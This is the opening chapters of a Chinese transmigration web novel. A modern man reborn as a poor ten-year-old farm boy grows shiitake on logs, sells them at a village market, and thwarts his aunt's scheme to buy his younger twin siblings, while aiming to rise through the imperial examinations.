《人上人获取指南(科举)》 1. 第一章 《人上人获取指南(科举)》全本免费阅读 第三遍鸡鸣报晓声次第啼罢,走村串乡的更夫手持铁牌,自院门前行过,铮铮的叩铁催耕之声渐行渐远。 天边的鱼肚白了,正是一日五更之时。 一扇不足三尺的土窗上,勉强挂着面已经卷起毛边的草席,聊以遮风挡雨。 土窗透射而过的日光里,一个十岁少年裹着被褥支起了身子。 带着点初醒的懵懂,一边倾听和观察对面炕上的病人,一边做好准备起床。 “咳…咳…咳…唉……” 粗哑不稳的睡中轻咳之音响起,夹杂着无意识的悲声叹息,像是习惯成自然了一般。 接着,对面的被褥被人慢慢掀开,一名妇人手肘支着炕沿,佝偻着身子下地。 少年不再耽搁,快速醒了醒神。 他探手进絮被里,一条稚嫩的小腿正压在少年薄薄的肚皮上,轻飘飘的几乎没什么份量。 粗粝的咳嗽声中,少年感觉到肚子上的小腿动了动,少年看过去,只见四岁的小崽收回腿翻了个身爬起来,同少年视线对上的一瞬间,嘴角往下一压—— “哇呜呜呜……呜呜呜……” 这边才哭了两嗓,炕沿边上的另一个小包钻出了个头,连眼睛都不睁开,委屈的小脸,同样把嘴一瘪—— “二丫饿了……哇呜呜呜……” 少年脑中嗡鸣一片,喘了几口气才取过一块麻布,分别揩了揩两个崽子满脸的涕泪:“不哭,大哥现在就去做吃的。” 听到真的能有吃的,两个崽都瞪着泪眼蒙蒙的双眼,听话的点点头,闭着嘴巴只小小声的抽噎。 对面的妇人已经习惯了这样的哭声,剧烈的咳嗽着,撑住一根木棍,来到土屋西北角墙根处的米缸旁。 少年小心的穿好仅剩的一双布面鞋,起身立在炕沿边上,顿觉一阵头昏目眩。他扶着炕沿缓了缓,待这股劲儿缓了,也来到了米缸处。 妇人此时正在一粒一粒的捡缸底剩下的黄米,手中的瓦碗里,小小的黄米粒只薄薄铺了一个底。 显然是只准备煮出来给一个人吃的份。 而这个人,少年现在已经明白了会是谁。 一种陌生的无法理解的情绪翻滚在心头,少年二话不说,接过碗拿起米缸旁的小瓦罐,从里面倒出了一捧黍米。 妇人一惊:“大哥儿!不行……咳咳咳……” 少年也知道,家里就剩这一点的存粮了! 妇人怕争执间洒落了米粒,也不敢随便抢碗,只靠住了墙道:“大哥儿,你懂事……你吃饱了,去把十八里坡那两亩淤地的麦苗子间了,再除除草。娘……娘不中用了,二郎和二丫也帮不上忙,我们不用吃!你回来……回来路上,若是还有灰灰菜苋菜荠菜,就捡一些,晌午了给你们仨做汤……啊?把米给我。” 少年的眉毛紧紧皱着,神色看不分明,脚下却坚定的往后退了几步。 这是一个身高尚不足五尺的清瘦少年。 因为长时间的营养不良以及得不到足够的休息,面色透着萎黄。 少年今年已经十岁,但身量看起来也只如八九岁的孩童一般,一头黑发尽量齐整的挽了个髫,但细看就会发现发梢明显的毛糙发黄。 也就那双漆黑的瞳仁,还称得上清亮有神。 “你放心。” 少年开了口,清晨还没喝到过水的嗓子有些微哑:“中午我会带回来足够的吃的,他们和你都不能再这样下去了。” 说着脚下一转,不再应和妇人的呼唤,端着最后这一捧黍米,推门走了出去。 老话说,“清明前后一场雨,强如秀才中了举。” 对于世世代代偏居于临南县东乡的双满村村民们而言,同样不例外。 昨夜一场春雨如期而至,双满村村民无不欢欣,夜间的炊烟都多了几绺。 王景禹也可以暂时松一口气,不用担心他家仅剩的两亩地里的麦苗子会不会旱死。 根据这具身体的记忆,那还是炕上病重的王母,在去年秋末尚能下床时,拼了命一样坚持着一个人去种下了的。 被王母在病中也看的像命根子似的,日日从土窗户口往田地的方向巴望。 他先去了院子的西南角,那里是家里的灶间。 同样是泥土混合着麦秸砌起的围墙,但冲着小院的那一面墙因为去年进水淹塌了,此时这间灶房就是一面大开着的,倒是连门也省了。 王景禹掀开水缸的盖子,涮了锅淘了黍米,就燃起柴火,把黍米下进去一锅全煮了。 直到柴火渐旺,锅中水开,他搅了搅锅底的黄色米粒,这才来到院里,踩着略显湿软的地面来到院东角的草搭子下。 里面并着立了几排看起来像废柴一般,黑黢黢的枯木。 王景禹走近了俯下身,只见那数十根成人大臂粗细的枯木上,有一半都长出了大小不一的黑灰色的菌菇。 那些已经熟透了的蒙着露珠的菌伞上,更裂开了漂亮的十字花。 他利索的把那些熟透的菇子一一摘下,又双手分拿一只草鞋,在那些出菇稀少的枯木上依次拍打。 这手法叫“击目惊覃”,能有效的刺激出菇。 他仔细的检查了一遍,把需要惊覃的枯木都照顾到位。 末了直起身,挑剔又欣慰的看着这些黑木头。 好在还有这几段栽培菌菇的木头,自己这穿越到这里也不算完全零开局。 也称得上“开局几段朽木”了! 他在穿来的第一天,就认识到,原身的这家人,是古代社会如卑微尘埃一般,最最普通的下户农民。 病在床上,只能勉强支持着自理的母亲,一对刚刚四岁嗷嗷待哺的双胞胎弟妹,以及因为被摊派去庆西军支移时出了意外,至今下落不明的父亲。 显然即使在农民里,这家也是最差的一等,几乎无一分可辗转腾挪的空间。 直到他发现这处草搭子下留下的几排十分不起眼的椴木。 那时的椴木因为连续数月无人管顾,已经七倒八歪,眼看到了出菇的时节和气候,却只有极个别的木头上艰难的冒出了几朵嫩莹莹。 他当下就认出了,这就是古代非常原始但又极其科学的“原木砍花香菇栽培法”。 他试探着问过王母,原来这是王父在两年前出门前留下的,还未来得及向她讲清楚究竟是干什么的就被催着去了庆西军驻地。 只说过叫她万不要当柴火给烧了。 他把摘下的香菇都装进背篓,重新回到灶房,黍米在水开后熟的比较快,此时已经软糯了,柴火也渐熄。 黍米和小米很像,但黏度更大,王景禹也放足了分量,熬出来的粥很稠。 他把黍米粥分别盛到两个碗里,剩的一碗自己慢慢喝了,吃了个饱。 热烘烘的食物,顺着食道一路暖到肠胃。 在这春寒料峭的初晨,只着一件麻布夹棉薄袄的身上顿时暖和了不少。 王景禹摸摸肚子,满足的呼出一口气。 他端着另外两个粥碗回到堂屋,在王母和两个双胞胎崽跟前放下。两个崽嗷的一声就扑了过去,端起碗一人一口吧唧吧唧的喝了起来。 2. 第二章 《人上人获取指南(科举)》全本免费阅读 早春时节,春寒料峭,青黄不接。杏子梅子麦子白菜,腊酒鸡豚…… 要啥啥没有。 院里鸡窝是空的,早就吃光或卖光了。院门口的两株槐树也被砍下卖掉,只剩光秃秃的木桩。 成日填不饱肚子,昏昏沉沉,住在破落漏风的土墙瓦屋里,一家子病小,连下一顿饭吃啥都没有着落,濒临绝户。 又哪还有兴致看蜻蜓蛱蝶飞,自栽花木、把门口打扫的净无苔? 现在想来,做这诗的人,多是些吃喝不愁,寄情山水田园聊做消遣的士大夫。 而世代生长和躬耕在土地上的普通农民,真正的生活与此相差甚远。 他上辈子玩过很多东西,也对自己取得的那些不大不小的成绩有过些沾沾自得。 可现在想来,若不是亲人对他无条件的资源和精神支持,他又怎么能那么自由无羁?若真的完完全全从零开始,想要取得成就又怎会那般轻易? 譬如当下,饭且吃不饱,还谈什么躺平玩票? 即使把生存要求放到最低,也实在是躺无可躺啊! 可惜,吐槽不能当饭吃,对他现在这地狱难度的开局也没有任何意义。 王景禹深吸一口气,鼓起肋骨分明的胸脯,再长长的吐出去,让自己镇静下来。 先活下来,弄清楚状况,再图将来。 他拿了顶麦秸秆编的草帽,背着背篓往七八里外的乡市出发了。 农家最珍贵的时辰就是早晨,因此这个时候,双满村大部分人家的炊烟已歇,陆陆续续都扛着农具出门下地做农活去。 路上接连遇见五六户下地做活的双满村村民,都对他避之唯恐不及,生怕一个不防就被他拦下,哭求着接济他们一家孤儿寡母。 偶尔有人发现,他不是往自家田的方向去时,也会为他的不务正业而叹两口气,再摇一摇头。 王景禹对此一概视若无睹,沿着乡间土路出了双满村,一路朝西行去。 根据原主的记忆和这几日的了解,双满村隶属于临南县的东乡。临南县是下县,辖内只有两个乡,也十分简单的被成为西乡、东乡。 双满村是唯一一个孤零零在乡东的村子,村子的东面则是双满村村民的旱田,再往东就是一片海拔不高但连绵十几里地的小峦山。其他几个村落都在乡西侧,因此这处每七日一集的东乡乡市,也设置七八里外东乡的交通要道上——修在峦河上的一处小吊桥周边。 七八里坑洼不平,偶尔还有点泥泞的土路,饶是王景禹出发的够早,又人小步子慢,直走到日上三竿,才望见了远处的小吊桥,和沿河蜿蜒的人群。 河道两旁吆喝叫卖、询价讨价声此起彼伏。 王景禹倒没急着寻摊位开卖,而是先在这古代乡村自发的定期集市上来回看了一圈。 集上出摊售卖的多是十里八乡的农户,又或者走街串巷的货郎和手艺人,因此基本以各类农产品、山货、日用农用器具、农家纺织的麻布、成衣,又或者简单的手工艺品为主。 买东西的人,多是拎一个盛麦子的袋子,以麦子做硬通货来换货,只有少部分人才以银钱结买。 没有任何娱乐消遣品的踪迹,也没有书籍纸笔类文化用品。 这集市上卖香菇的也有,多半是常年进山向山民采收山货的人。 他这点香菇自然走不了奇货可居的路子。 小峦山王景禹还没有进去过,想来如果在山林里仔细寻找,应该可以捡漏些吃用得上的山中土产。 只是王景禹一家人病的病小的小,他如今穿的这一副小身板,爬上小峦山十分吃力,勉强去了,在山里也很容易遇到危险。 而他目前还不能承担这种程度的风险。 王景禹粗粗走了这一遍,已把这集上的物品种类和市价都记了个大概,并且当日鲜采的菌菇很紧俏,一旦摆开,就有大户人家和酒楼饭馆的采买人,迅速买走。 显然起码在临南县这一带,食用菌类在有钱人的饮食中是颇受欢迎的食材。 他心里有了数,就寻了市集外口的一处空位,将自己背篓那点香菇均匀铺在了一块草席上。 果不其然,很快就有眼尖的看到了。 凑上来只打量几眼,连价都不问,直接道:“小子,你这菇子我全要了。” 王景禹今天带来这些香菇,虽然在他挑剔的眼光看来,长期疏于管理品相十分一般,但比起真正在山里生长被农户和山民们日日搜寻采摘,优质菇鲜见的纯野生香菇,还是要好了不少,其中一小部分的菇型也可称得上漂亮了。 问价的人约莫四十出头,着的是短打汗衫,但款式不似普通农人的褐布麻衣那样极其简便,而是花心思在滚边和配色上,布料半新也没什么脏污,八成是个大户家中负责采买事项的小管事。 王景禹瞧他随身带着的,果然也没有盛麦子的布袋,毫不犹豫的:“好,一共五十文。” 五十文约合麦子二升五合,这报价比他刚刚得知的市价高出了近一倍。 “太贵了!” 那买家不满的皱眉嚷,但并没有就此离开。 王景禹见他又抬眼打量了下自己,很快换了一副面孔,开始诚恳的劝说:“看你年龄小,怕是浑不晓行情吧,若是这般胡乱要价可就卖不出了。这些香菇最多不足两斤,我看你独自一人在这市上耽搁许久,也煞是可怜,就发一次善心,给你二十文吧!卖了菇,你也好早早家去,啊。” 说着就从袖袋中数了二十枚铜钱丢在草席上。 心里盘算着这香菇的品相着实不错,五十文是贵了,但冲着品相虚报个四十文的帐也不成问题,多出来那二十文又可以去市坊里买酒消受了。 他料想这穷小子不可能知道行情,也不会敢反抗,喜滋滋躬下身就准备把香菇装捡进随身的货袋。 “慢着。” 就在他要搓起第一捧菇子时,一只瘦小的手,坚定的拦住了他的动作。 3. 第三章 《人上人获取指南(科举)》全本免费阅读 想他上辈子对钱的概念最小的单位就是万,现在却是体会了把一分钱也能难倒英雄汉的滋味。 第一桶金到手,王景禹将草席上的灰尘抖搂干净,折好放进背篓。 他这番情绪波动控制的很快,在那个仍旧气不过立在一旁的管事眼里,这个卖香菇的小子只是做了个大部分人收到钱后的习惯性动作,然后就手脚利落的收拾好东西背上背篓。 临走前还带着真诚客气的笑对他招呼:“拜拜嘞您内!” 嘶—— 这小崽子,好像有那么点客气,又好像有那么点嚣张? 总之,忒不像话! 灰白色粗布直裰打扮的那位读书人还没走远,余光也看到了这边的情景,颇觉有趣,又打量了眼那名与他擦身而过的小少年。 王景禹感受到目光,一看还是来自自己第一桶金以及后续好几桶金的主顾,真诚的向他点头施礼。 那边这人也笑了笑,轻轻点了头。 得了这五十文铜钱,王景禹先去事先看好的摊位上,大手笔的花了三十五文,买了些猪肥膘,二合磨好的面粉和一点点盐巴。 他来了这几天发现,穷人常常能不吃盐就不吃,他家更是连着八天就是靠清淡稀粥熬过来的。 可他知道这样是不行的,人的身体需要适量的摄入盐分。 揣着剩下的十五文铜钱,想着家里的一病两小,王景禹不再耽搁,迈步就往双满村赶了。 回到双满村已经是晌午时分,王景禹推开院门,一入家门,两个齐他腰高的弟弟妹妹,欢呼一声就扑了过来。 发现王景禹沁了一头的汗,二丫立马撒开王景禹的腰,奶声奶气指挥道:“二哥拿布帕,给大哥擦!” 她自己则拧着小腿往灶房去,显然是要给他打水来喝。 王景禹享受着两个崽的稚嫩关切,心下熨帖,先去主屋看了看倚在炕上的王母,精神尚好,这才也来了灶房,放下带回来的猪肥膘、盐巴和面粉,以及他在路上顺路采的一把野菜,一手接过葫芦水瓢一手揉了揉二丫脑瓜。 “饿了吧?这就给你们做好吃的!” 二丫一听,眼睛直瞪的溜圆,一眨不眨的看着大哥。 正在这时,户外传来了院门被大力扯开的吱嘎声,有人趾高气扬的扯着嗓子喊,“王家大郎!王家大郎在不在家!” 又一阵“哒哒哒”的稚嫩脚步声,二郎手里抓着块麻布手巾奔进灶房,跑到王景禹身后,惊慌的告状。 “是上次欺负娘和大哥的人来了!” 王景禹当下心里有了数,也不搭来人的话。 这个时候,天大地大也没有按点吃饭大。 他径自开始拾柴生火,准备给这天天靠着喝稀粥度日的一家老小改善改善伙食,做一顿香菇野菜汤面。 外面的人叫了半天不见有人应声,只好不耐烦的也来了王家老二小子奔来的这间灶房前。 今儿个一共来了俩人,那个已经多次来说项的刘管家向灶房张望了两眼,嫌弃的不愿迈进来,向旁边的小跟班儿使了使眼色。 那小跟班儿站出来探头喊:“王家大郎!耳朵被龙王冲了吗,听不到人声?穷酸人家就是没规矩,客人来了不说端茶倒水,连应对个话都不会!” 王景禹生好了柴火,自去打水摘洗野菜和香菇,二哥儿二丫两人则坐在灶堂前看着火。 听了这毫不掩饰的指责,连个眼神都欠奉,只亮了嗓子道:“不迎而入是为贼,两位作为出身大户人家的管事和仆人,就是这么个规矩法吗?” 门口张望的小跟班儿顿时一噎,一时无法反驳。 他有点没主意的往身后看了一眼,“刘管家,你看……” 一直站在他身后,身着灰绿色挂衫,五短身材,头戴浅棕色草巾子的刘管家也听到了屋内的话,着实有些意外。 主要是完全没想到,这个上次见还蔫头巴脑闷葫芦一样,只会低声下气求大人可怜可怜他们的怂娃子,会突然这么冷不丁来一句。 本想着这次他们可是带了东西来成交的,这小子八成要哭着磕头来迎他们。 他往前走了近些,矜持的板着脸孔:“王外甥,几日不见还真叫人刮目相看啊。那么,上次你同我们府上谈好的契书,定的是今天交契,两个娃儿我们今天就带走,还记得吧?” 恰在这时,王景禹烧热了锅,把切碎了的一块肥膘加入锅底,慢慢的翻炒出油,并炸出金黄的油渣。 家里不是病患就是孩童,不可突然过于油腻,他放的不多。 又把洗过切好的香菇薄片爆入锅底,顿时香气四溢而出,灶前的两个崽,瞬间眼睛都直了,砸吧着嘴巴舔口水。 那刘管家也是一眐,追问道:“你哪来的猪油香菇,还有面粉!?” 刘管家自认对这一家人是个什么状况清楚的不能更清楚了,他们就差天天数着米缸里那点粟米粒过日子了! 就那点米,还是上次看王家大郎总算开了窍,趁王母昏睡之际同意画押了他家二丫二郎的卖身契,他们家夫人才发善心拿给的咧! 今天他就是带人来的,可这小子咋还突然间阔气上了? 难不成又把最后剩的那点地给卖了? 那他们娘俩以后可真就成了像那帮子佃户流民一样子,贱民中的贱民咯! 王景禹手上不停,他爆好了香菇,加入了清水慢慢开锅煮汤底,又转身开始揉面。 他知道这位原主的舅舅舅母家的刘管家今天会来。 说起来原主他家这门亲戚,舅舅倒是嫡亲的舅舅,是王母的亲兄长,舅母也是明媒正娶的正牌舅母。 但他这个舅舅和入赘了差不多,因为家里穷,但却有一副十里八乡都出挑的好相貌,被她这位舅母一眼相中,才有了这段姻缘。 只是家中一切事务皆是舅母做主也是尽人皆知,眼见亲妹妹一家如今沦落至此,曾经也有心想随手帮衬,却被舅母像防贼似的看着。 偏两人成亲十多年也无一子半女,舅母不甘心给舅舅纳妾续香火,这才想出了把他们王家的一双小接过去的念头。 “这可是你亲妹妹的骨血,给你们家续香火不正好!况且,我们要是不接来,那两个崽能过一天好日子?” 如此这般,成功说服了原身的舅舅。 只不过,她口中说着要接过去让他俩做续香火的公子小姐,实际上却根本不是这么盘算的。 不过是拿他俩堵了街坊邻居的闲话,也达成了不让丈夫纳妾的目的。 至于两个崽,也配给她当女儿儿子? 在王景禹穿来以前,那王家大郎后来实在经不住刘管家的诱惑,趁着王母昏睡的时候,在“过继文书”上盖了王母的手印。 原身自认为实在是没有办法了,这么做也算是为弟弟妹妹谋了个活路,从此可以不用受苦,去享享富裕人家的福了。 < 4. 第四章 《人上人获取指南(科举)》全本免费阅读 那刘管家和仆从倏然大惊,仓皇奔到炉火前。 又哪还抢得出什么? 刘管事“噌”的一声站起,双眉倒竖,口液喷溅,面目因惊怒而变形,奋力前伸手臂指着王景禹: “王牛旦!你个浑事不通的蠢物!竟然烧了我们主母的契书!我家主母那是镇上秀才老爷家的小姐,看上这俩狗屁不懂、早晚要饿死的崽子是他们八辈子修来的福分!没了这桩好事,你们这一窝穷光蛋,下贱的农民,就等着绝户吧!” 王景禹盯了一眼刘管事的嘴脸,一张稚气未脱的脸上并没什么神情,只淡淡道: “秀才算个啥?” 穿来的七八天以来,身处这样的荒凉乡村,古代普通农户的生活和生存有多艰难,王景禹现在亲身体会到了。 王家本是四等下户,可三年前,县里重造五等丁产薄时,因为原本的中上户财产减少,中上等户数不足,重定了等第。 王家在还是那些田产的情况下,被提为了三等中户。 依朝廷律令,三等及以上用户除了夏秋两赋,还需要服科配差役等劳役。原主的爹和爷爷就是这次重造丁产薄以后,被摊派去的边境支移。 为确保边境军队粮草供给,临近州府的税户必须无偿将粮草运送到指定地点,谓之支移。 三年来,王家田产陆续变卖,实际情况已经到了五等下户与客户的边缘。可五等丁产薄五年一重造,王家在薄上仍旧是三等中户。 到了今年夏天,饭都吃不上了的他们一家子,还要继续按三等中户的田产来缴夏粮。 还有他见到的那些没有地,只能租种的佃户;地也租不起,因着灾祸路经此地的流民;小峦山的深处,还住着不少破产后躲避朝廷追缴的逃户。 哎!真的是太苦逼了! 不对,苦逼还有点自嘲成分,普通农民是实实在在的太苦了! 可王景禹仔细想过,他穿了过来,如果一辈子这样只做农户,想要活下去,还要活的好,无异于痴人说梦。 像上辈子他的家族那样经商成为商人,倒是可以活的好一点。 但他十分清楚,中国古代多少年的历史一直重农抑商,商人的地位非常低。 没有地位、又没有话语权,徒有钱财绕身的商人,还常常是政府打着各种旗号劫掠的对象,甚至最后成为某个不知名政治斗争中牺牲品,被推出去做替罪羊的也比比皆是。 小命依旧堪忧。 因此,在这个世界里,他带着这一家老小,想要过上有品质保障的生活、有尊严有地位的生存,有朝一日安安心心的躺平享受,读书做官仍然是改变他们的现状实现目的的最优途径。 有句话说,卷不动躺不平,宇宙的尽头是编制。 果然在这片土地上,不论千年前、千年后,核心特色始终一以贯之。 只是,他如今作为一个只有两亩地的下等的农户,想要在以后能够有余力读书走仕途,首先也要解决了一家子的温饱。 这间灶房本就极其粗陋,四面漏风,此时的争吵声,也把临近的几户下了地回家吃中饭的老少村民引了过来。 农家的人们喜欢在做好了饭后,端着饭碗三三两两的聚在一起唠些闲话。 大伙儿顾忌着王家这情形,自然不能进去院子里瞧,万一再被那个王家大郎粘上了可不是自讨苦吃! 但这穷乡僻壤的,精神消遣太匮乏,只要有点新鲜事儿,哪里忍得住不看。 于是,不一会儿,王景禹家前门那面半人高的篱笆墙外,就围了不下十个人,手里端着饭碗,边吸溜吸溜的吃边探着头看。 听到这里,有人“咦”了一声,“大哥儿这莫不是饿的手抖了吧?” 有人叹息,“完咯完咯,他那舅母可不是个省事的,这回要是真惹着了,怕是最后这点盼头也要黄了……” 有个妇人忍不住,想隔着院墙劝劝他,赶紧给好好认个错,求一求人,兴许还能再有个回转! 刚开了嗓,就被家里男人瞪了一眼,“就你多事!他们家的事儿谁还管的了。你之前非要好心借出去那好些粮,如今不是都打水漂了?” 王景禹上辈子虽然身体不好,但是也十分清楚自己的脑子还不赖。 只要他有了书、能够获得参加科考的资格和条件、可以接受到这个时代的学校和名师适当的指引,科考本身对他而言,根本就不是什么难事。 古代的秀才差不多相当于现代社会的本科学历,却要比现代的大学本科要难考许多。 但王景禹坚信,秀才只会是他脚下踏过的一块石。 虽然目前还没踏到,也不妨碍他先把这个逼给装了。 “你说什么?”那刘管事像听到了什么天大的笑话。 院门外更有人呼哧笑了出来,但想想他这一家子的境遇,又转而叹气,“这大郎,怕是脑子已经不灵醒了哟!” 与灶房一面土墙之隔的邻院里,王家二婶刘氏正扶着大肚子,坐在墙根下的一面榆木条凳上,手里拿着石蛋穿不上了的衣服料子,改制婴儿小衣,仔细的侧耳倾听着这边的动静。 听到这里,也像是再次拿到了什么把柄,笃定的说:“我早就说,这老大一家没救了,没得再拖累了我们。” 突然,刘管事“哎哟”一声险些摔倒,从灶间外有人撞开了他。 只见王母披着衣服仓促的从主屋出来,拼着一口气撞了刘管事后,自己也摔在了地上,深吸着气咳喘起来 5. 第五章 《人上人获取指南(科举)》全本免费阅读 刘管家本就在气头上,听话锋这小子不仅要毁约让他办不成差事,竟然还想把他给挖个坑埋进去,再白白吞了带来的东西。 他吊起扫帚眉,斥道:“你做什么春秋大梦!这是用来买下那两个崽子的,现如今你不仅烧了契书反悔不交人,还妄想白拿这些东西?” 说话间随同他一起来的仆从就走过来,要重新把那袋吃食拎起来。 王景禹任他拿,倒也一点不急。 只疑惑道:“刘管事,您说这是舅舅和舅母用来买二丫和二郎的?上次您不是说是要接他俩去做公子小姐享福吗?难道刚刚的契书是卖身契?舅舅舅母竟要他们去入奴籍吗!?” 刘管事怒火上头说漏了嘴,连忙掩饰:“当然是让他们去享福的!” “喔。”王景禹轻轻应和,“那刚才不小心烧掉的,是过继文书了?” 刘管事强撑:“那是当然!” 院外村民都不信的摇头,王母也扶着墙想支起身子说什么。 王景禹示意她坐好不要着急,目光又扫到刘管事的脸上:“既是过继文书,那还不好办?咱们现在就重新立一张,我亲自拿着去县里重新备录再送到府上,不过就是晚个几天时间。这样可好?” 刘管事和同来的那名仆从互视一眼,心道不妙,今天这差事怕是真的要砸了。 当下民间出继的文书办起来比较简单,双方和见证人分别在写好的文书上签押,就算成了,去官府也不过是记录备案,以待更册。 卖身契可就麻烦的多了,三方签押后必须到县衙说明来历、原因,县衙勘会属实,发给公据才算成交。 刚才被那王家大郎烧掉的,可不就是县衙里具结的公据! 可眼下也不能再当众戳破这一点,要是砸了他们主母的名声,回去怕是吃不了兜着走。 形势当前,王家大郎不认这官司,两个崽他自是不能当众强行带走,原本用来打发和交易两个崽的吃食要是拿回去,也成了当众打自己的脸,认了卖身契的事。 这还叫他家里主母的脸往哪搁? 刘管家想清楚关节,正了正衣襟大声道:“我们主母那可是秀才老爷教养出来的,自是端方心善。她和你舅舅呢,一直都念着你们日子艰难,那什么上门拜谢就不必了,好好过日子他们就放心了。” 接着压低声撂了句:“小子,你可莫要后悔!” 早晚有你再次哭着求我们收了这两个崽子的时候。 待刘管事气愤愤带着那名仆从走了以后,王景禹也迈步从灶房走了出来。 那些原本聚在院墙里外看热闹的人,顿时一哄而散,生怕这王家大郎黄了生路,再来一出跪下磕头求他们给点吃用的戏码来。 谁家的日子都艰难不好过,他们家所谓的借吃借用,显然已是无底洞,肉包子打狗一去不能回。 他们这些人想要活着,适当的帮衬接济可以有,可最不该有的就是泛滥的同情心。 看热闹的人里,还有一个双满村人人都认识的流民,人称牛二瘸子。 这人是前年东梁州灾荒,失了田产亲戚,一路逃荒流到这里来的。 不知怎么就看上了他们这双满村,不再继续往京兆府方向走,就地停在了这,日日歇在村北头井口处的凉棚下。 由于是流民,自然在他们这里没有田产,又因着瘸腿,怕他慌了田交不出租子,也没人愿意把田租佃给他种。 最近村里有人发现,这牛二瘸子像是盯上了这一家孤儿寡母,几乎日日寻到了吃食以后都要来王家门前转一圈,就像踩点确认这家人是不是还活着似的。 牛二瘸子看了今天这出热闹,缩了缩脖子,就一声不吭的跟着村民们溜了。 丝毫没注意到,身后王家的院子里,那个十岁的少年长子,意味深长的打量着他离开的方向。 待人群都走净了,王景禹回到灶房,捏了捏两个全程乖巧的小崽的脸蛋,净了手继续捞起面团,不多时就搓出了粗细均匀的一把把细面条来,就着煮沸的汤底下了进去。 两个崽见状,知道离开饭不远了。 小跑着去拿过了平日里他们吃饭的碗,虽然水缸里的水也不多了,但大哥近来总是要求吃饭的碗饭前必须刷一遍。二郎踮着小脚舀水,二丫用一个陶盆接着,洗过碗的水倒入另一个脏水桶中,留待别用。 王母依旧还靠在墙上,看着自己的三个孩子,欣慰又悲哀。 她最后把目光稳稳的投注在大儿子的身上,隐隐觉察到,她的孩子有什么地方不一样了。 王景禹那边见面煮的差不多了,再把洗净的野菜切了几刀加进去,从二丫小手里接过沉甸甸的碗盆,熄了灶火,先给眼巴巴站在锅前的崽一人盛了一碗晾着,特别嘱咐道,“烫,别急着吃。” 他又盛出了一碗面,端到堂屋的木桌上,又回来灶房接王母过去。 王母在桌前靠坐着,这才看清了大儿子今天做的饭。 翠绿的野菜,黑白分明的香菇,炸的金黄的几粒油渣,煮的晶莹透亮的面条,碗边泛着点诱人的油花,还有那扑面而来的香气和热气… 连她这样久病体虚,食欲寡淡的人,都勾起了食欲… 她一时怔住了。 “大哥儿,这…这…这是你做的?” 即使她当时在灶房亲眼看着大哥儿来来回回的忙活,此时也有些难以置信。 王景禹道:“嗯。你安心吃,灶房还有刘管事今日送来的面粮,够咱们四口人再吃一两个月的了。” 见王母还欲再说什么,王景禹劝道:“趁热吃,现下有了足够的吃食,赶明我再去想办法给你医医病症。你身子能好起来,比什么都强。” 王母到底还是母亲,听了这话尽管心中无限悲戚,在自己孩子面前勉强忍住了,只道:“娘在这世上也没什么奢望了,就是不放心你们,如今病成这个样子,就这么留下你们,我就是死了也不能瞑目。” 她呼出一口气:“你吃…你多吃点…还要长身体,天天都吃不饱怎么行。娘没什么胃口,不饿的,你快吃吧。” 王景禹并不多劝,只转身回了灶房,只见俩小的已经呼呼哈哈的一边吐热气一边嘬着面条吃了。 见大哥进来,口齿不清的叫人,“呜…大哥…” 王景禹把锅里剩的满满一碗盛出来,喊两个小崽:“走,堂屋吃去。” 俩娃听了,麻溜小心翼翼的端着碗,跟在了屁股后头。 他安置俩小的坐在堂屋中间的桌子上继续吃,把自己那一碗放下,也细细的吃了起来。 咸香的汤水面条,热气腾腾的氤氲着雾气,连汤带面一口口实实在在的滑进口腔,久旷的肠道受到滋润,缓缓的舒展蠕动。 来了这么多天,总算能吃上顿有油花有咸味的饭! 泪牛满面。 吃面的空挡,王景禹又把王母面前的碗冲她推了推。 王母看到两个小崽吃的欢实,大儿子也有足足的份,此时推着碗过来的态度更带着些不由分说。 这才就着面碗,慢慢吃喝起来。 这样的吃食,实在是太难得,王母的胃口也好了 6. 第六章 《人上人获取指南(科举)》全本免费阅读 古代的农民没有钟表,日升月落就是他们判断一日时辰的主要来源。 唯一的官方报时,就是夜里的五次叩铁更声。 时近黄昏,双满村几乎家家户户都要修补农具、砍木劈柴,妇人们赶在最后一绺天光消失前,或坐在织机前纺织麻布,或缝缝补补。 王景禹家的农具已经许久不用,织机也积落了许多灰尘,此时倒是清闲。 对此他倒是不急,毕竟急也没用。上辈子他那几个月田园生活都是体验为主,理论多实操少,他能认出来“原木砍花香菇栽培法”,会几手“击木惊覃”,可若叫他去伐木砍花就不行了。 所以,如今这实打实要下把子力气的耕田织布,他也是真的不会。 既来之则安之,打铁还需自身硬,把这副身子慢慢养起来也是一切的根本。 罢了晚饭,王景禹就先从他上辈子自学的小学生广播体操练起,准备来两遍操活动筋骨。 李长发来时,就见王家大郎独自一人在院中,背对着院门,小小的身体正伸胳膊踢腿的比划着什么。 看着倒是新鲜,甚至颇有些滑稽。 李长发暗自叹了口气,到底还是个十岁的孩子,一顿饱饭人就活泛起来了。 “大哥儿。” 听到人声,王景禹不慌不忙落了自己的动作,转过身见来人是双满村的老村正。 “村正爷,您怎么过来了?” 王景禹说话间,便取了他中午卖完菇子后刷净晾晒过的草席,铺在院中一块石墩上,示意老村正坐。 李长发见这面草席虽边缘磨损严重,但被清洗的十分干净,很有点意外。 现下再四下一打量,这才注意到,刚进院子时,被他忽略的一些不一样的地方。 这王家的院子,虽说那些磨盘草棚犁耙等大的物件都还是在原本的老位子上,但院里四处丛生的杂草有被仔细的除净。那些因为失修而碎裂的瓦片、飘落的茅草树叶,不再是散落的到处都是,都被人捡拾起,规整的收在了草棚旁,甚至围出了一个错落有致的墩儿。 灶房里塌的那面墙还塌着,但灶间里的碎土清理了出来,铺洒在院中地面又踩实了。灶间里缸是缸,碗盆是碗盆,柴火是柴火,归置的齐整有章法。 再说那草棚下的黑椴木柴火,原本歪七扭八,此时也被扶正,一排排摆放的十分有序。 这下他也顾不得坐了,满心诧异的审视几步外的十岁孩子。 这一看,竟又瞧出了些不同。 只见那个娃儿浑没了往日里蔫头巴脑、满面灰败的神色,以前总是没骨头似的七扭八歪的身体,此时也规规矩矩直溜溜的站着,眼神更透出了清亮来。 王景禹任他打量,他是魂穿,这副身体也是百分百纯原装,自然不会有什么破绽。 他知道老村正在想什么,面上仍旧浑然不觉,随口又客气。 “村正爷快坐。” “噢,好好。” 李长发坐了下来,摞了摞灰白的山羊胡须问道:“你娘怎么样了?” 他就直接这样问了出来。 长时间以来,双满村的人已经没有一个人敢再这样问王家的事了。人人早都知道他这一家孤儿寡母吃不上饭、看不上病,谁还来明知故问? 平白让大家心里都不痛快。 但李长发今天听了孙子叙说,决定了踏进王家大门,就做好了会再次伸手的准备。 王景禹回道:“娘今日有好些哩!晌午头还做了会儿针线活。其实,娘这病说到底还是劳累过度又缺了医药,现在家里吃食还能支撑,我想着不管怎样,也要想办法给娘医治好了。” 